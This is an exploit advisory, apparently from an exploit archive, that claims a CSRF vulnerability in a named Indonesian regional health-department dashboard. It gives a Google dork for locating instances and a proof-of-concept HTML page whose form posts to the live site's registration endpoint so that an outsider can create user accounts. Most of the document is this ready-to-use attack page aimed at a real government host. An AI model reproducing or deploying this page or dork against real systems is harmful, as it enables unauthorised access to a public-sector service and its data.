====================================================================================================================================
| # Title : Dashboard Dinkes Kab.Tangerang CSRF Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) |
| # Vendor : http://lb3.dinkes.tangerangkab.go.id/ |
| # Dork : inurl:/dashboard/index.php/login/ |
====================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine
[+] save code as .html
[+] <html>
<head>
<script type="text/javascript">
function cekform()
{
if(!$("#username").val())
{
alert ("Maaf silahkan mengisikan Username anda");
$("#username").focus();
return false;
}
if(!$("#password1").val())
{
alert ("Maaf silahkan mengisikan Password anda");
$("#password1").focus();
return false;
}
}
</script>
</head>
<body> <div class="position-relative">
<div id="signup-box" class="signup-box widget-box no-border">
<div class="widget-body">
<div class="widget-main">
<h4 class="header green lighter bigger">
<i class="ace-icon fa fa-users blue"></i>
New User Registration
</h4>
<div class="space-6"></div>
<p> </p>
<form method="POST" action="https://lb3.dinkes.tangerangkab.go.id/dashboard/index.php/login/insert" onsubmit="return cekform()">
<fieldset>
<label class="block clearfix">
<span class="block input-icon input-icon-right">
<input type="email" name="email" class="form-control" placeholder="Email" />
<i class="ace-icon fa fa-envelope"></i>
</span>
</label>
<label class="block clearfix">
<span class="block input-icon input-icon-right">
<input type="text" name="username" class="form-control" placeholder="Username" />
<i class="ace-icon fa fa-user"></i>
</span>
</label>
<label class="block clearfix">
<span class="block input-icon input-icon-right">
<input type="password" name="password" class="form-control" placeholder="Password" />
<i class="ace-icon fa fa-lock"></i>
</span>
</label>
<label class="block">
<span class="lbl">
</span>
</label>
<div class="space-24"></div>
<div class="clearfix">
<input type="submit" name="register" value="Register">
</div>
</fieldset>
</form>
</div>
<div class="toolbar center">
<a href="https://lb3.dinkes.tangerangkab.go.id/dashboard/index.php/login" data-target="#login-box" class="back-to-login-link">
<i class="ace-icon fa fa-arrow-left"></i>
Back to login
</a>
</div>
</div><!-- /.widget-body -->
</div><!-- /.signup-box -->
</div><!-- /.position-relative -->
</body>
</html>
Greetings to :=========================================================================================================================
|
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * djroot.dz * LiquidWorm* Hussin-X *D4NB4R * shadow_00715 * yasMouh |
|
=======================================================================================================================================
